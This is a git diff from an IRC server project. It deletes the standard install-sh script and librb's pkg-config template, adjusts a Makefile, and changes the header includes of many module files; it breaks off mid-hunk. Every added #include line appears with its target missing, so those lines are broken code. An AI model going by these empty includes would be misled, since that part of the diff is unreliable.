-# Copyright (C) 1994 X Consortium -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to -# deal in the Software without restriction, including without limitation the -# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or -# sell copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN -# AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNEC- -# TION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -# -# Except as contained in this notice, the name of the X Consortium shall not -# be used in advertising or otherwise to promote the sale, use or other deal- -# ings in this Software without prior written authorization from the X Consor- -# tium. -# -# -# FSF changes to this file are in the public domain. -# -# Calling this script install-sh is preferred over install.sh, to prevent -# 'make' implicit rules from creating a file called install from it -# when there is no Makefile. -# -# This script is compatible with the BSD install script, but was written -# from scratch. - -tab=' ' -nl=' -' -IFS=" $tab$nl" - -# Set DOITPROG to "echo" to test this script. - -doit=${DOITPROG-} -doit_exec=${doit:-exec} - -# Put in absolute file names if you don't have them in your path; -# or use environment vars. - -chgrpprog=${CHGRPPROG-chgrp} -chmodprog=${CHMODPROG-chmod} -chownprog=${CHOWNPROG-chown} -cmpprog=${CMPPROG-cmp} -cpprog=${CPPROG-cp} -mkdirprog=${MKDIRPROG-mkdir} -mvprog=${MVPROG-mv} -rmprog=${RMPROG-rm} -stripprog=${STRIPPROG-strip} - -posix_mkdir= - -# Desired mode of installed file. -mode=0755 - -chgrpcmd= -chmodcmd=$chmodprog -chowncmd= -mvcmd=$mvprog -rmcmd="$rmprog -f" -stripcmd= - -src= -dst= -dir_arg= -dst_arg= - -copy_on_change=false -is_target_a_directory=possibly - -usage="\ -Usage: $0 [OPTION]... [-T] SRCFILE DSTFILE - or: $0 [OPTION]... SRCFILES... DIRECTORY - or: $0 [OPTION]... -t DIRECTORY SRCFILES... - or: $0 [OPTION]... -d DIRECTORIES... - -In the 1st form, copy SRCFILE to DSTFILE. -In the 2nd and 3rd, copy all SRCFILES to DIRECTORY. -In the 4th, create DIRECTORIES. - -Options: - --help display this help and exit. - --version display version info and exit. - - -c (ignored) - -C install only if different (preserve the last data modification time) - -d create directories instead of installing files. - -g GROUP $chgrpprog installed files to GROUP. - -m MODE $chmodprog installed files to MODE. - -o USER $chownprog installed files to USER. - -s $stripprog installed files. - -t DIRECTORY install into DIRECTORY. - -T report an error if DSTFILE is a directory. - -Environment variables override the default commands: - CHGRPPROG CHMODPROG CHOWNPROG CMPPROG CPPROG MKDIRPROG MVPROG - RMPROG STRIPPROG -" - -while test $# -ne 0; do - case $1 in - -c) ;; - - -C) copy_on_change=true;; - - -d) dir_arg=true;; - - -g) chgrpcmd="$chgrpprog $2" - shift;; - - --help) echo "$usage"; exit $?;; - - -m) mode=$2 - case $mode in - *' '* | *"$tab"* | *"$nl"* | *'*'* | *'?'* | *'['*) - echo "$0: invalid mode: $mode" >&2 - exit 1;; - esac - shift;; - - -o) chowncmd="$chownprog $2" - shift;; - - -s) stripcmd=$stripprog;; - - -t) - is_target_a_directory=always - dst_arg=$2 - # Protect names problematic for 'test' and other utilities. - case $dst_arg in - -* | [=\(\)!]) dst_arg=./$dst_arg;; - esac - shift;; - - -T) is_target_a_directory=never;; - - --version) echo "$0 $scriptversion"; exit $?;; - - --) shift - break;; - - -*) echo "$0: invalid option: $1" >&2 - exit 1;; - - *) break;; - esac - shift -done - -# We allow the use of options -d and -T together, by making -d -# take the precedence; this is for compatibility with GNU install. - -if test -n "$dir_arg"; then - if test -n "$dst_arg"; then - echo "$0: target directory not allowed when installing a directory." >&2 - exit 1 - fi -fi - -if test $# -ne 0 && test -z "$dir_arg$dst_arg"; then - # When -d is used, all remaining arguments are directories to create. - # When -t is used, the destination is already specified. - # Otherwise, the last argument is the destination. Remove it from $@. - for arg - do - if test -n "$dst_arg"; then - # $@ is not empty: it contains at least $arg. - set fnord "$@" "$dst_arg" - shift # fnord - fi - shift # arg - dst_arg=$arg - # Protect names problematic for 'test' and other utilities. - case $dst_arg in - -* | [=\(\)!]) dst_arg=./$dst_arg;; - esac - done -fi - -if test $# -eq 0; then - if test -z "$dir_arg"; then - echo "$0: no input file specified." >&2 - exit 1 - fi - # It's OK to call 'install-sh -d' without argument. - # This can happen when creating conditional directories. - exit 0 -fi - -if test -z "$dir_arg"; then - if test $# -gt 1 || test "$is_target_a_directory" = always; then - if test ! -d "$dst_arg"; then - echo "$0: $dst_arg: Is not a directory." >&2 - exit 1 - fi - fi -fi - -if test -z "$dir_arg"; then - do_exit='(exit $ret); exit $ret' - trap "ret=129; $do_exit" 1 - trap "ret=130; $do_exit" 2 - trap "ret=141; $do_exit" 13 - trap "ret=143; $do_exit" 15 - - # Set umask so as not to create temps with too-generous modes. - # However, 'strip' requires both read and write access to temps. - case $mode in - # Optimize common cases. - *644) cp_umask=133;; - *755) cp_umask=22;; - - *[0-7]) - if test -z "$stripcmd"; then - u_plus_rw= - else - u_plus_rw='% 200' - fi - cp_umask=`expr '(' 777 - $mode % 1000 ')' $u_plus_rw`;; - *) - if test -z "$stripcmd"; then - u_plus_rw= - else - u_plus_rw=,u+rw - fi - cp_umask=$mode$u_plus_rw;; - esac -fi - -for src -do - # Protect names problematic for 'test' and other utilities. - case $src in - -* | [=\(\)!]) src=./$src;; - esac - - if test -n "$dir_arg"; then - dst=$src - dstdir=$dst - test -d "$dstdir" - dstdir_status=$? - else - - # Waiting for this to be detected by the "$cpprog $src $dsttmp" command - # might cause directories to be created, which would be especially bad - # if $src (and thus $dsttmp) contains '*'. - if test ! -f "$src" && test ! -d "$src"; then - echo "$0: $src does not exist." >&2 - exit 1 - fi - - if test -z "$dst_arg"; then - echo "$0: no destination specified." >&2 - exit 1 - fi - dst=$dst_arg - - # If destination is a directory, append the input filename; won't work - # if double slashes aren't ignored. - if test -d "$dst"; then - if test "$is_target_a_directory" = never; then - echo "$0: $dst_arg: Is a directory" >&2 - exit 1 - fi - dstdir=$dst - dst=$dstdir/`basename "$src"` - dstdir_status=0 - else - dstdir=`dirname "$dst"` - test -d "$dstdir" - dstdir_status=$? - fi - fi - - obsolete_mkdir_used=false - - if test $dstdir_status != 0; then - case $posix_mkdir in - '') - # Create intermediate dirs using mode 755 as modified by the umask. - # This is like FreeBSD 'install' as of 1997-10-28. - umask=`umask` - case $stripcmd.$umask in - # Optimize common cases. - *[2367][2367]) mkdir_umask=$umask;; - .*0[02][02] | .[02][02] | .[02]) mkdir_umask=22;; - - *[0-7]) - mkdir_umask=`expr $umask + 22 \ - - $umask % 100 % 40 + $umask % 20 \ - - $umask % 10 % 4 + $umask % 2 - `;; - *) mkdir_umask=$umask,go-w;; - esac - - # With -d, create the new directory with the user-specified mode. - # Otherwise, rely on $mkdir_umask. - if test -n "$dir_arg"; then - mkdir_mode=-m$mode - else - mkdir_mode= - fi - - posix_mkdir=false - case $umask in - *[123567][0-7][0-7]) - # POSIX mkdir -p sets u+wx bits regardless of umask, which - # is incompatible with FreeBSD 'install' when (umask & 300) != 0. - ;; - *) - tmpdir=${TMPDIR-/tmp}/ins$RANDOM-$$ - trap 'ret=$?; rmdir "$tmpdir/d" "$tmpdir" 2>/dev/null; exit $ret' 0 - - if (umask $mkdir_umask && - exec $mkdirprog $mkdir_mode -p -- "$tmpdir/d") >/dev/null 2>&1 - then - if test -z "$dir_arg" || { - # Check for POSIX incompatibilities with -m. - # HP-UX 11.23 and IRIX 6.5 mkdir -m -p sets group- or - # other-writable bit of parent directory when it shouldn't. - # FreeBSD 6.1 mkdir -m -p sets mode of existing directory. - ls_ld_tmpdir=`ls -ld "$tmpdir"` - case $ls_ld_tmpdir in - d????-?r-*) different_mode=700;; - d????-?--*) different_mode=755;; - *) false;; - esac && - $mkdirprog -m$different_mode -p -- "$tmpdir" && { - ls_ld_tmpdir_1=`ls -ld "$tmpdir"` - test "$ls_ld_tmpdir" = "$ls_ld_tmpdir_1" - } - } - then posix_mkdir=: - fi - rmdir "$tmpdir/d" "$tmpdir" - else - # Remove any dirs left behind by ancient mkdir implementations. - rmdir ./$mkdir_mode ./-p ./-- 2>/dev/null - fi - trap '' 0;; - esac;; - esac - - if - $posix_mkdir && ( - umask $mkdir_umask && - $doit_exec $mkdirprog $mkdir_mode -p -- "$dstdir" - ) - then : - else - - # The umask is ridiculous, or mkdir does not conform to POSIX, - # or it failed possibly due to a race condition. Create the - # directory the slow way, step by step, checking for races as we go. - - case $dstdir in - /*) prefix='/';; - [-=\(\)!]*) prefix='./';; - *) prefix='';; - esac - - oIFS=$IFS - IFS=/ - set -f - set fnord $dstdir - shift - set +f - IFS=$oIFS - - prefixes= - - for d - do - test X"$d" = X && continue - - prefix=$prefix$d - if test -d "$prefix"; then - prefixes= - else - if $posix_mkdir; then - (umask=$mkdir_umask && - $doit_exec $mkdirprog $mkdir_mode -p -- "$dstdir") && break - # Don't fail if two instances are running concurrently. - test -d "$prefix" || exit 1 - else - case $prefix in - *\'*) qprefix=`echo "$prefix" | sed "s/'/'\\\\\\\\''/g"`;; - *) qprefix=$prefix;; - esac - prefixes="$prefixes '$qprefix'" - fi - fi - prefix=$prefix/ - done - - if test -n "$prefixes"; then - # Don't fail if two instances are running concurrently. - (umask $mkdir_umask && - eval "\$doit_exec \$mkdirprog $prefixes") || - test -d "$dstdir" || exit 1 - obsolete_mkdir_used=true - fi - fi - fi - - if test -n "$dir_arg"; then - { test -z "$chowncmd" || $doit $chowncmd "$dst"; } && - { test -z "$chgrpcmd" || $doit $chgrpcmd "$dst"; } && - { test "$obsolete_mkdir_used$chowncmd$chgrpcmd" = false || - test -z "$chmodcmd" || $doit $chmodcmd $mode "$dst"; } || exit 1 - else - - # Make a couple of temp file names in the proper directory. - dsttmp=$dstdir/_inst.$$_ - rmtmp=$dstdir/_rm.$$_ - - # Trap to clean up those temp files at exit. - trap 'ret=$?; rm -f "$dsttmp" "$rmtmp" && exit $ret' 0 - - # Copy the file name to the temp name. - (umask $cp_umask && $doit_exec $cpprog "$src" "$dsttmp") && - - # and set any options; do chmod last to preserve setuid bits. - # - # If any of these fail, we abort the whole thing. If we want to - # ignore errors from any of these, just make sure not to ignore - # errors from the above "$doit $cpprog $src $dsttmp" command. - # - { test -z "$chowncmd" || $doit $chowncmd "$dsttmp"; } && - { test -z "$chgrpcmd" || $doit $chgrpcmd "$dsttmp"; } && - { test -z "$stripcmd" || $doit $stripcmd "$dsttmp"; } && - { test -z "$chmodcmd" || $doit $chmodcmd $mode "$dsttmp"; } && - - # If -C, don't bother to copy if it wouldn't change the file. - if $copy_on_change && - old=`LC_ALL=C ls -dlL "$dst" 2>/dev/null` && - new=`LC_ALL=C ls -dlL "$dsttmp" 2>/dev/null` && - set -f && - set X $old && old=:$2:$4:$5:$6 && - set X $new && new=:$2:$4:$5:$6 && - set +f && - test "$old" = "$new" && - $cmpprog "$dst" "$dsttmp" >/dev/null 2>&1 - then - rm -f "$dsttmp" - else - # Rename the file to the real destination. - $doit $mvcmd -f "$dsttmp" "$dst" 2>/dev/null || - - # The rename failed, perhaps because mv can't rename something else - # to itself, or perhaps because mv is so ancient that it does not - # support -f. - { - # Now remove or move aside any old file at destination location. - # We try this two ways since rm can't unlink itself on some - # systems and the destination file might be busy for other - # reasons. In this case, the final cleanup might fail but the new - # file should still install successfully. - { - test ! -f "$dst" || - $doit $rmcmd -f "$dst" 2>/dev/null || - { $doit $mvcmd -f "$dst" "$rmtmp" 2>/dev/null && - { $doit $rmcmd -f "$rmtmp" 2>/dev/null; :; } - } || - { echo "$0: cannot unlink or rename $dst" >&2 - (exit 1); exit 1 - } - } && - - # Now rename the file to the real destination. - $doit $mvcmd "$dsttmp" "$dst" - } - fi || exit 1 - - trap '' 0 - fi -done - -# Local variables: -# eval: (add-hook 'write-file-hooks 'time-stamp) -# time-stamp-start: "scriptversion=" -# time-stamp-format: "%:y-%02m-%02d.%02H" -# time-stamp-time-zone: "UTC" -# time-stamp-end: "; # UTC" -# End: diff --git a/librb/librb.pc.in b/librb/librb.pc.in deleted file mode 100644 index a2fd7da0e..000000000 --- a/librb/librb.pc.in +++ /dev/null @@ -1,14 +0,0 @@ -prefix=@prefix@ -exec_prefix=@exec_prefix@ -datarootdir=@datarootdir@ -data_dir=@datadir@/@PACKAGE_NAME@ - -version=@PACKAGE_VERSION@ -include_dir=@includedir@/librb -lib_dir=@libdir@ - -Name: librb -Description: Portable runtime for charybdis and other things, based on libratbox -Version: @PACKAGE_VERSION@ -Libs: -L${lib_dir} -lrb -Cflags: -I${include_dir} diff --git a/modules/Makefile.am b/modules/Makefile.am index 826538210..d7e20ac7f 100644 --- a/modules/Makefile.am +++ b/modules/Makefile.am @@ -1,9 +1,10 @@ AUTOMAKE_OPTIONS = subdir-objects -AM_CPPFLAGS = -I$(top_srcdir)/include -I$(top_srcdir)/librb/include $(LTDLINCL) +AM_CPPFLAGS = -I$(top_srcdir)/include $(LTDLINCL) AM_LDFLAGS = -module -export-dynamic -avoid-version -no-undefined -shared AM_LDFLAGS += -export-symbols-regex _mheader LIBS += $(top_srcdir)/ircd/libircd.la +LIBS += $(top_srcdir)/rb/librb.la auto_load_moddir=@moduledir@/autoload diff --git a/modules/cap_account_tag.c b/modules/cap_account_tag.c index 85e8dab21..718ac69db 100644 --- a/modules/cap_account_tag.c +++ b/modules/cap_account_tag.c @@ -21,18 +21,18 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" -#include "s_conf.h" -#include "s_user.h" -#include "s_serv.h" -#include "numeric.h" -#include "chmode.h" -#include "inline/stringops.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char cap_account_tag_desc[] = "Provides the account-tag client capability"; diff --git a/modules/cap_server_time.c b/modules/cap_server_time.c index 73fce0170..42085c980 100644 --- a/modules/cap_server_time.c +++ b/modules/cap_server_time.c @@ -21,18 +21,18 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" -#include "s_conf.h" -#include "s_user.h" -#include "s_serv.h" -#include "numeric.h" -#include "chmode.h" -#include "inline/stringops.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char cap_server_time_desc[] = "Provides the server-time client capability"; diff --git a/modules/chm_nocolour.c b/modules/chm_nocolour.c index b8c86371c..664caccce 100644 --- a/modules/chm_nocolour.c +++ b/modules/chm_nocolour.c @@ -21,18 +21,18 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" -#include "s_conf.h" -#include "s_user.h" -#include "s_serv.h" -#include "numeric.h" -#include "chmode.h" -#include "inline/stringops.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char chm_nocolour_desc[] = "Enables channel mode +c that filters colours and formatting from a channel"; diff --git a/modules/chm_noctcp.c b/modules/chm_noctcp.c index dd76ab097..3638d7e46 100644 --- a/modules/chm_noctcp.c +++ b/modules/chm_noctcp.c @@ -21,18 +21,18 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "modules.h" -#include "hook.h" -#include "client.h" -#include "ircd.h" -#include "send.h" -#include "s_conf.h" -#include "s_user.h" -#include "s_serv.h" -#include "numeric.h" -#include "chmode.h" -#include "inline/stringops.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char chm_noctcp_desc[] = "Adds channel mode +C, which blocks CTCP messages from a channel (except ACTION)"; diff --git a/modules/core/m_ban.c b/modules/core/m_ban.c index 94c18f2dc..1a76395dc 100644 --- a/modules/core/m_ban.c +++ b/modules/core/m_ban.c @@ -27,23 +27,23 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "send.h" -#include "channel.h" -#include "client.h" -#include "defaults.h" -#include "ircd.h" -#include "match.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "msg.h" -#include "modules.h" -#include "hash.h" -#include "s_serv.h" -#include "operhash.h" -#include "reject.h" -#include "hostmask.h" -#include "logger.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char ban_desc[] = "Provides the TS6 BAN command for propagating network-wide bans"; diff --git a/modules/core/m_die.c b/modules/core/m_die.c index 8ac865f9e..1a209dd04 100644 --- a/modules/core/m_die.c +++ b/modules/core/m_die.c @@ -22,19 +22,19 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "ircd.h" -#include "match.h" -#include "numeric.h" -#include "logger.h" -#include "s_conf.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "s_newconf.h" -#include "hash.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char die_desc[] = "Provides the DIE command to allow an operator to shutdown a server"; diff --git a/modules/core/m_error.c b/modules/core/m_error.c index 4ef168811..9c4081fc0 100644 --- a/modules/core/m_error.c +++ b/modules/core/m_error.c @@ -22,15 +22,15 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "ircd.h" -#include "numeric.h" -#include "send.h" -#include "msg.h" -#include "modules.h" -#include "logger.h" -#include "s_conf.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char error_desc[] = "Provides the ERROR command for clients and servers"; diff --git a/modules/core/m_join.c b/modules/core/m_join.c index f74d7dd5b..bbaa901eb 100644 --- a/modules/core/m_join.c +++ b/modules/core/m_join.c @@ -22,24 +22,24 @@ * USA */ -#include "stdinc.h" -#include "channel.h" -#include "client.h" -#include "hash.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "send.h" -#include "s_serv.h" -#include "s_conf.h" -#include "s_newconf.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "packet.h" -#include "chmode.h" -#include "ratelimit.h" -#include "s_assert.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char join_desc[] = "Provides the JOIN and TS6 SJOIN commands to facilitate joining and creating channels"; diff --git a/modules/core/m_kick.c b/modules/core/m_kick.c index e592a5530..7284388eb 100644 --- a/modules/core/m_kick.c +++ b/modules/core/m_kick.c @@ -22,20 +22,20 @@ * USA */ -#include "stdinc.h" -#include "channel.h" -#include "client.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "send.h" -#include "msg.h" -#include "modules.h" -#include "parse.h" -#include "hash.h" -#include "packet.h" -#include "s_serv.h" -#include "hook.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char kick_desc[] = "Provides the KICK command to remove a user from a channel"; diff --git a/modules/core/m_kill.c b/modules/core/m_kill.c index dd4e71d52..1ec664532 100644 --- a/modules/core/m_kill.c +++ b/modules/core/m_kill.c @@ -22,21 +22,21 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "hash.h" /* for find_client() */ -#include "ircd.h" -#include "numeric.h" -#include "logger.h" -#include "s_serv.h" -#include "s_conf.h" -#include "send.h" -#include "whowas.h" -#include "match.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "s_newconf.h" +#include +#include +#include /* for find_client() */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char kill_desc[] = "Provides the KILL command to remove a user from the network"; diff --git a/modules/core/m_message.c b/modules/core/m_message.c index 1ee4da033..cb6190436 100644 --- a/modules/core/m_message.c +++ b/modules/core/m_message.c @@ -22,26 +22,26 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "ircd.h" -#include "numeric.h" -#include "s_conf.h" -#include "s_serv.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "channel.h" -#include "match.h" -#include "hash.h" -#include "class.h" -#include "msg.h" -#include "packet.h" -#include "send.h" -#include "s_newconf.h" -#include "s_stats.h" -#include "tgchange.h" -#include "inline/stringops.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char message_desc[] = "Provides the PRIVMSG and NOTICE commands to send messages to users and channels"; diff --git a/modules/core/m_mode.c b/modules/core/m_mode.c index 848d0b45f..7dd708d50 100644 --- a/modules/core/m_mode.c +++ b/modules/core/m_mode.c @@ -22,23 +22,23 @@ * USA */ -#include "stdinc.h" -#include "channel.h" -#include "client.h" -#include "hash.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "s_user.h" -#include "s_conf.h" -#include "s_serv.h" -#include "logger.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "packet.h" -#include "s_newconf.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char mode_desc[] = "Provides the MODE and MLOCK client and server commands, and TS6 server-to-server TMODE and BMASK commands"; diff --git a/modules/core/m_modules.c b/modules/core/m_modules.c index 408a3cae9..f28f0b756 100644 --- a/modules/core/m_modules.c +++ b/modules/core/m_modules.c @@ -18,21 +18,21 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "client.h" -#include "parse.h" -#include "msg.h" -#include "modules.h" -#include "s_newconf.h" -#include "s_conf.h" -#include "s_serv.h" -#include "hash.h" -#include "ircd.h" -#include "match.h" -#include "numeric.h" -#include "send.h" -#include "packet.h" -#include "logger.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char modules_desc[] = "Provides module management commands"; diff --git a/modules/core/m_nick.c b/modules/core/m_nick.c index 81f916ec3..481300ddd 100644 --- a/modules/core/m_nick.c +++ b/modules/core/m_nick.c @@ -22,29 +22,29 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "hash.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "s_conf.h" -#include "s_stats.h" -#include "s_user.h" -#include "hash.h" -#include "whowas.h" -#include "s_serv.h" -#include "send.h" -#include "channel.h" -#include "logger.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "packet.h" -#include "scache.h" -#include "s_newconf.h" -#include "monitor.h" -#include "s_assert.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include /* Give all UID nicks the same TS. This ensures nick TS is always the same on * all servers for each nick-user pair, also if a user with a UID nick changes diff --git a/modules/core/m_part.c b/modules/core/m_part.c index 094f39f10..0d370f5f0 100644 --- a/modules/core/m_part.c +++ b/modules/core/m_part.c @@ -22,22 +22,22 @@ * USA */ -#include "stdinc.h" -#include "channel.h" -#include "client.h" -#include "hash.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "send.h" -#include "s_serv.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "s_conf.h" -#include "packet.h" -#include "inline/stringops.h" -#include "hook.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char part_desc[] = "Provides the PART command to leave a channel"; diff --git a/modules/core/m_quit.c b/modules/core/m_quit.c index f1851dde5..b9eb5d8b9 100644 --- a/modules/core/m_quit.c +++ b/modules/core/m_quit.c @@ -22,17 +22,17 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "ircd.h" -#include "numeric.h" -#include "s_serv.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "s_conf.h" -#include "inline/stringops.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char quit_desc[] = "Provides the QUIT command to allow a user to leave the network"; diff --git a/modules/core/m_server.c b/modules/core/m_server.c index 1ceaca9f8..3629acd40 100644 --- a/modules/core/m_server.c +++ b/modules/core/m_server.c @@ -22,22 +22,22 @@ * USA */ -#include "stdinc.h" -#include "client.h" /* client struct */ -#include "hash.h" /* add_to_client_hash */ -#include "match.h" -#include "ircd.h" /* me */ -#include "numeric.h" /* ERR_xxx */ -#include "s_conf.h" /* struct ConfItem */ -#include "s_newconf.h" -#include "logger.h" /* log level defines */ -#include "s_serv.h" /* server_estab, check_server */ -#include "s_stats.h" /* ServerStats */ -#include "scache.h" -#include "send.h" /* sendto_one */ -#include "msg.h" -#include "parse.h" -#include "modules.h" +#include +#include /* client struct */ +#include /* add_to_client_hash */ +#include +#include /* me */ +#include /* ERR_xxx */ +#include /* struct ConfItem */ +#include +#include /* log level defines */ +#include /* server_estab, check_server */ +#include /* ServerStats */ +#include +#include /* sendto_one */ +#include +#include +#include static const char server_desc[] = "Provides the TS6 commands to introduce a new server to the network"; diff --git a/modules/core/m_squit.c b/modules/core/m_squit.c index ad2dc9652..7c691fa70 100644 --- a/modules/core/m_squit.c +++ b/modules/core/m_squit.c @@ -22,20 +22,20 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "s_conf.h" -#include "logger.h" -#include "s_serv.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "hash.h" -#include "s_newconf.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char squit_desc[] = "Provides the SQUIT command to cause a server to quit"; diff --git a/modules/m_accept.c b/modules/m_accept.c index cd3074b54..c626db491 100644 --- a/modules/m_accept.c +++ b/modules/m_accept.c @@ -22,17 +22,17 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "hash.h" -#include "ircd.h" -#include "numeric.h" -#include "s_conf.h" -#include "s_serv.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char accept_desc[] = "Provides the ACCEPT command for use with Caller ID/user mode +g"; diff --git a/modules/m_admin.c b/modules/m_admin.c index 955ea42fd..16364efb8 100644 --- a/modules/m_admin.c +++ b/modules/m_admin.c @@ -22,17 +22,17 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "ircd.h" -#include "numeric.h" -#include "s_conf.h" -#include "s_serv.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "hook.h" -#include "modules.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include const char admin_desc[] = "Provides the ADMIN command to show server administrator information"; diff --git a/modules/m_alias.c b/modules/m_alias.c index ebff11e25..0b26ffe7d 100644 --- a/modules/m_alias.c +++ b/modules/m_alias.c @@ -18,19 +18,19 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "client.h" -#include "parse.h" -#include "msg.h" -#include "modules.h" -#include "s_conf.h" -#include "s_serv.h" -#include "hash.h" -#include "ircd.h" -#include "match.h" -#include "numeric.h" -#include "send.h" -#include "packet.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char alias_desc[] = "Provides the system for services aliases"; diff --git a/modules/m_away.c b/modules/m_away.c index 4e20235d9..de9bf88a5 100644 --- a/modules/m_away.c +++ b/modules/m_away.c @@ -22,18 +22,18 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "send.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "s_conf.h" -#include "s_serv.h" -#include "packet.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char away_desc[] = "Provides the AWAY command to set yourself away"; diff --git a/modules/m_cap.c b/modules/m_cap.c index a1dd5b297..bb35d129a 100644 --- a/modules/m_cap.c +++ b/modules/m_cap.c @@ -29,20 +29,20 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "class.h" -#include "client.h" -#include "match.h" -#include "ircd.h" -#include "numeric.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" -#include "s_serv.h" -#include "s_user.h" -#include "send.h" -#include "s_conf.h" -#include "hash.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char cap_desc[] = "Provides the commands used for client capability negotiation"; diff --git a/modules/m_capab.c b/modules/m_capab.c index 56732e232..9550f69fe 100644 --- a/modules/m_capab.c +++ b/modules/m_capab.c @@ -22,14 +22,14 @@ * USA */ -#include "stdinc.h" -#include "client.h" -#include "match.h" -#include "s_serv.h" -#include "s_conf.h" -#include "msg.h" -#include "parse.h" -#include "modules.h" +#include +#include +#include +#include +#include +#include +#include +#include static const char capab_desc[] = "Provides the commands used for server-to-server capability negotiation"; diff --git a/modules/m_certfp.c b/modules/m_certfp.c index f6dc003af..2270e82a8 100644 --- a/modules/m_certfp.c +++ b/modules/m_certfp.c @@ -27,15 +27,15 @@ * POSSIBILITY OF SUCH DAMAGE. */ -#include "stdinc.h" -#include "client.h" -#include "match.h" -#include "hash.h" -#include "ircd.h" -#include "numeric.h" -#include "send.h" -#include "msg.h" -#include "modules.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include static const char certfp_desc[] = "Provides the CERTFP facility used by servers to set certificate fingerprints"; diff --git a/modules/m_challenge.c b/modules/m_challenge.c index d9a285ac1..edcb2592e 100644 --- a/modules/m_challenge.c +++ b/modules/m_challenge.c @@ -22,7 +22,7 